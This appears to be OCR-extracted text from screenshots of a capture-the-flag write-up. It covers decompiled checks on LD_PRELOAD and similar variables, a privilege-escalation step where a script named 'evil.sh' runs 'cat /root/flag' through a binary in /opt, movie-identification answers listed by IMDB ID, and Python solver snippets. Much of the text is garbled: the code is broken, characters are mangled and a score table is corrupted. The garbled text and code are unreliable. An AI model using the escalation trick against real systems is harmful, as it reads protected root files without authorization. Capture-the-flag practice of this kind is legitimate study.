rsi = rax;
rdi = data_0000201c;
eax = @;
0;
rax = ("LD_PRELOAD");
if (rax != 0) {
rdi = "LD_PRELOAD";
O;
}

rax = (”LD_LIBRARY_PATH"):
if (rax = 0) {
rdi = "LD_LIBRARY_PATH";
(OF
3

rax = ("LD_AUDIT");
if (rax
rdi = "LD_AUDIT";
0;

("LD_DEBUG");
) {

rax = ("LIBRARY_PATH");
if (rax 1= 0) {
rdi = "LIBRAR

’

eax = *x(var_9h);

AEFIBREsh, /bin/bashizifiskbash, SAEFIABASH_ENVHITHS (BIEHITIS /rootBIE D5
cat /root/flagrs %48 M=)



$ /bin/bash

Are you Tomoya?
y/n:
> n
flag
Who are you?
$ cd ~/
s
evil.sh
echo 'cat /root/flag' > evil.sh
cat evil.sh

cat /root/flag

cd /opt
$ ./hello
Are you Tomoya?
y/n:
> n
ACTF{C41551FD—ZuCE—u6FF—AEA9—DP35CC1C8A1S}Who are you?
: /opt$

master of movie | Solved
ACTF{IMDBMASTER_uw@tcHed@LO0toFmoV1e|tt0118694}

EASY (10/10)



7. BB (checked)
IMDB: tt0109946



IMDB: tt0017136(checked)




-~

-
x/;/
Whenjthe time comes, we'll fight again.E;

Gay people can't just say "l like you" they have to make the 250 yen you owed t
hem into a bracelet charm as a reminder that you'll fight one day

#no. 1 sentai gozyuger #gozyuger

IMDB: tt34382036 (checked)




FAEXN: FUN—D VRIS a0 v —

MELSEINENX: BHFRY“FEYR" mR

2025FF BRHTRAERALE, 625 AYEK-BE/RMER25F HUKET ZIBAR, HIRIATR

79 (FFIRR) BOIISERR”. IFERSMFRERIRESS A DR FIBSEHY
BTTRRRENERL, IERBZ A RAMAEEARTINLASER) .

IMDB: tt17526714(checked)



[BREI] RE/RHamiltonBR (5TEEHE)

_ Ve oam

f\

IMDB: tt8503618 (checked)




A2 —IdFIZ ANRVIEHL EABHI EEIF IR
They har'i'a"te.enag}e‘ wed.(‘iing and the oldfolks wished them well

96 AIEFEH, B 16000 8 (3

I. 43R @ 1.5A * 21R » 4999 ’..‘. —EH
R e Rewms T cene .

IMDB: tt0110912 (checked)



P H1 o 2342/ 3758

Nekojiru Gekijou Jirujiru Original (faZ 5 %
%ﬂi%%% £ % Original)

P e L .

IMDB: tt8893624(checked)




IMDB: tt0368226(checked)

=K theroom

CEREE . |

§x0 Ex0

FHESEMK2




[PEFE/PHES/OPREMR] W2&E OP TRy RRRy) / PHFES feat. FAOHIEA—ILAH—X

»] 297 (=) 150 2024-01-08 16:20:26

L

0005¢

B MK 2

25000

Co2ERG

1ANEER, D150 58E @ SESGEE % 5%

IMDB: tt31309480(checked)
IFADHE




[BF)F] XiZE 1080PPF Baraka

(») 407 (=) 681 2021-04-08 19:00:11

© + ==

J3  -ka: Opening/Nepal M«
_—

g3 fFiE W & B @8 4

tt0103767(checked)

22 FrBaraka



BARAKA (1992)

'.' Y, '!r/

TAGS: camera low to ground, concrete tile, crowded, feet, kasaya, legs, monk, pedestrians, shallow depth of field, urban

GENRE: Documentary COLOR: Purple TIME OF DAY: Day

DIRECTOR: Ron Fricke ASPECT RATIO: 2.20 INTERIOR/EXTERIOR: Exterior
CINEMATOGRAPHER: Ron Fricke ORIGINAL ASPECT RATIO: 2.20,2.39 LOCATION TYPE: Locatior

EDITOR: David Aubrey, Ron Fricke, Mark Magidson FORMAT: Film - 65mm SET: City Street

SHOT TIME: 00:40:15 FRAME SIZE: Medium Wide STORY LOCATION: .. Japan > Tokyo
TIME PERIOD: 1590s LENS SIZE: Wide, Mediur FLMING LOCATION: .. Japan > Tokyo

HARD (3/5)

\
PO g gl
O

IMDB: tt0043306




The Spider is a minor antagonist in the 2015

Spanish adult animated film Birdboy: The €V[l_ aOQ r

Forgotten Children.

It is a demonic entity shaped like a spider

possessing Zacharias' mother, serving as a \
physical manifestation of her drug addiction. “m

It was voiced by Maribel Legarreta in Spanish

IMDB: tt5004766 (checked)
Fh2Birdboy EEAY



IMDB: tt0109688

B ] I
= — e ] L
£ “FARERT R MIERE =FE
| 1 Al 12 2 98 98 95 291 42 Al 17| L} 72 (L] 68 214 1 Al 23 =] 93 96 96
2 Al 27| HEH 95 98 4 287 43 B| 28] Hid 73 67 73 213 2 B| 4 I 58 a8 a7
3| 8 4 om 92 | o | 83 273 w| W 7z mm 15 | 6z | s 212 3| A 3| m 97 | 9 | o8
a Al 13 HA 86 96 84 266 45| 8] 9 62 72 7 211 [] 8| 12| wmzx 92 | e | 93
5 | B| 31| ax 95 | 82 | 8 62 46| A 28 70 | 6 | 210 5| B 9 amm | 95 | o | &
6| 8 11| % 8 | 92 | 719 | 289 4T | B| 24 5 | 64 | 7 | 208 6| A 10] am 93 | 9 | &2
7 B| 18 &iE 91 82 85 258 48 Al 24] 0 75 72 207 7 8| 14 3 90 86 90
8| Al 32 =a 85 | 84 | 88 257 49| B 3 75 | 68 | 63 | 206 8| A 12 ma 95 | wa | a1
9| 8] 13] &® 90 | 81 | 8 255 50| 8| 28] = 62 | 80 | &3 205 o | Al 1] ww 85 | 88 | @0
0] A s W 86 | 84 | s2 | 22 51 Al n[ @k 6 | 72 | 64 200 0| 8] 17 & 8z | 88 | a2
11 B 8 Ed 89 89 73 251 52 A 2 HiB 62 83 203 11 8| 32 B® 88 95 78
2] A 9] 4w 90 | 75 | 85 | 20 53| B[ 21 ## 70 | 69 | &3 202 12| A| 5| AR 9z | %0 | 1
13| Al 28] ®E 8 | n a0 249 54| Al 18]  ww 68 | 69 | 64 201 13| 8] 23 @A 85 | 89 | 84
14| B 2 &R 82 | 8 | s 248 55 | B[ 30 WF 66 63 71 200 | 8 7| mm 8 | 91 | 80
15 Al 21 1] 80 88 79 247 56 Al 23 B Lid 58 [ 199 15 B| 22 L.1] 84 86 86
16 Al 3 all 75 91 80 246 57 Al BF 74 &0 [z} 197 16 Al 22 L 81 94 80
17| 8 5| mEe 8 | 75 | 84 245 56| 8 1] um 62 | 68 | 66 | 196 17| Al 8 e 8 | 8z | &
18 B| 1 LEd 94 72 78 244 59 B8] 2 B 62 13 T3 195 18 B| 24 i 74 92 86
19| 8 14| m*x 83 | w0 [ 70 283 60 | Al 8 aw 65 | &8 154 19| B 2 &8 85 | 78 | &8
20| Al 3| A 7 30 | 84 242 61| 8| 23] me 62 | 0 | 61 153 20| Al 2] ;o 9 [ 8 [ 70
21| 8 16| Bw 7 0 [ 76 241 62| A| 25 =w 6 | 10 | & 192 1] Bl 5 a8 84 | 80 | 85
2| Al 18 Lail T 83 8 240 63 B 5‘— ] 50 71 60 191 22 Al 21 BE 90 LE] 85
23| Al 16 Ll 7 80 B2 239 Bl ¢| F ] 50 58 68 186 23 Al 25  R#&N 82 83 82
24| 8| 12| =@ 79 | 78 80 238 2| 8] 18] =m0 8 [ 8 [ 13
s | A 10| =AW 88 8 1 234 25| Al 1 B0 il 72 |
26 | B[ 21 w%x 83 | T 5 | 22 26| B 31| =@ 81 | 715 | 85
27 A 1] R B 79 72 23 27 Al 24 L L 82 82 75
2| A 4 rm T 5 230 28 | A[ 18] #k % |1
22| A 5 @8 78 228 29| B 30|  # 7% | 75 | 88
30| B * 3 | 74 221 30 32| =@ 85 | 68 | 84
(31| A 30, wn 85 | T T 226 | Al u == /| 8 | &
D T0 | 80 | 7 225 32| B 1| #8 83 | 73
33 B| 15 #ak 80 7 224 33 A 2 HE 75 B3 76
EACE [ 80 | 61 6 | 223 4 | 8| 13 ®0 95 | 0 | &8
35 A| 23| L T 70 76 221 35 A 8 Ll T8 7% 75
8| 19| &H T 73 79 220 36 Al 26 ®E 75 7 82 |
37 Al 31 M T4 75 219 7 B| 28] B3 L 0 81
25 I 0 | 82 | &6 218 38 | 8| 19] Fw T | 13| e
= 8 1 zm 7| 12 27 39 | B| 23] @ 73 | 8|
[0 216 | Al 1] == 82 | 65 | 80
a1 | B| 200 R®N 69 | 85 | 61 215 | A 3 = 73| 7|1




IMDB:tt26471411
R FRIEFBRIR

QQQRcode | Solved

FOIE IR

RIBIR

1 def proof(io):

2 jo.recvuntil(b'"XXXX+")

3 suffix = io.recv(16) .decode('"utf8'")

4 jo.recvuntil(b"== ")

5 cipher = io.recvline().strip().decode("utf8")

6 for i in dtertools.product(string.ascii_letters + string.digits, repeat=4):

7 x = "{HHH}".format(i[0], i[1], i[2], i[3])

8 proof = hashlib.sha256(

9 (x + suffix.format(i[0], i[1], i[2], i[3])).encode()

10 ) .hexdigest()

11 if proof == cipher:

12 break

13 print(suffix, cipher, x)

14 jo.sendlineafter (b"XXXX:", x.encode())



XEMBERM—N=HEN 4 (21*21721) , EXMN=MEE, 755 HAzure, Assassin,
Alliance,
K—HBESFREAREETrue, RARRB=1""EXRE—TFEFrAEN (BLBHZ)

EXFNHFIRERZ T, BETE15007, @BEK390LURN.
FEIMITIR, BILUBTUR, SARBT A, MiER.

ARIGIR

1

2 def make_data(front, left, top):

3 data = [[[True for _ in range(21)] for _ in range(21)] for _ in range(21)]
4 for x in range(21):

5 for y in range(21):

6 if not front[x][y]:

7 for z in range(21):

8 data[x][y]l[z] = False

9

10 for y in range(21):

11 for z in range(21):

12 if not leftl[y][z]:

13 for x in range(21):

14 data[x][y]l[z] = False
15

16 for x in range(21):

17 for z in range(21):

18 if not top[x][z]:

19 for y in range(21):
20 data[x][y]l[z] = False
21
22 if not check_data(data):
23 return None
24
25 for x in range(21):
26 for y in range(21):
27 for z in range(21):
28 if datal[x][y]l[z]:
29 data[x][y]l[z] = False
30 if not check_data(data):
31 data[x][y]l[z] = True
32 print(x, check_data(data), end="\r'")
33 print()
34 # print(data)
35 return data

X parseB =i, RzyxBINIREREY



def parse data(input_str):

data = [[[False] * 21 for _ in range(21)] for  in range(21)]
index = @
for z in range(21):

for y in range(21):
for x in range(21):
if index < len(input_str):
data[x][y][z] = input_str[index] == "1"
index += 1

return data

EGIR

1

give me your
data:0000000000000000000000000000000COOOEOOOEOOOEOOOEOOOEOOEEOOEEOOEEOOEEOOAEOO
0000000000000COEOEOEOEOEOEOEOO1OOOEOEOEOEOEOEOEOEOEOOOOEEEOEOEOEOEOEOEOEOEOOOOHO
0000000000000000O0COEOOOOOOOOOOOOEOEOEOEOEOEOOOBOOBOOOOOBNOE1EOEOEOEOEOOOOOBOOOOOOBOO
000000000000000COEOEOOOOOOOOOOOOEOEONEOEO1OOOOOOBOOOOOBOEOEOEOEOEOEOBOBOBOOBOOOOBOO
0000000000000COEOEOEOEOEOEOEOOOEEOEOEOEOEOEO1OCOEOEOOOEOEOEOEOEOEOEOEOEOEOEOOOOHO
0000001000000000OCOO1O0OOCOCOOOEEO1OEOEOEO1OOOEOEOEOOOOEEEOEOEOEOEOEOEOEOEOOOBOHO
0000000000000000O0COEOOOOOOOOOOOOEOEOEOEOEOEOOOBOOBOOOOOOOEOEOEOEOEOEOOBOBOOOOBOOBOO
000000000000000COEOEOOOOOOOOOOOOEOEONEOEOEOEOOBOBOOOOOBOEOEOEOEOEOEOBOBOBOOBOOOOBOO
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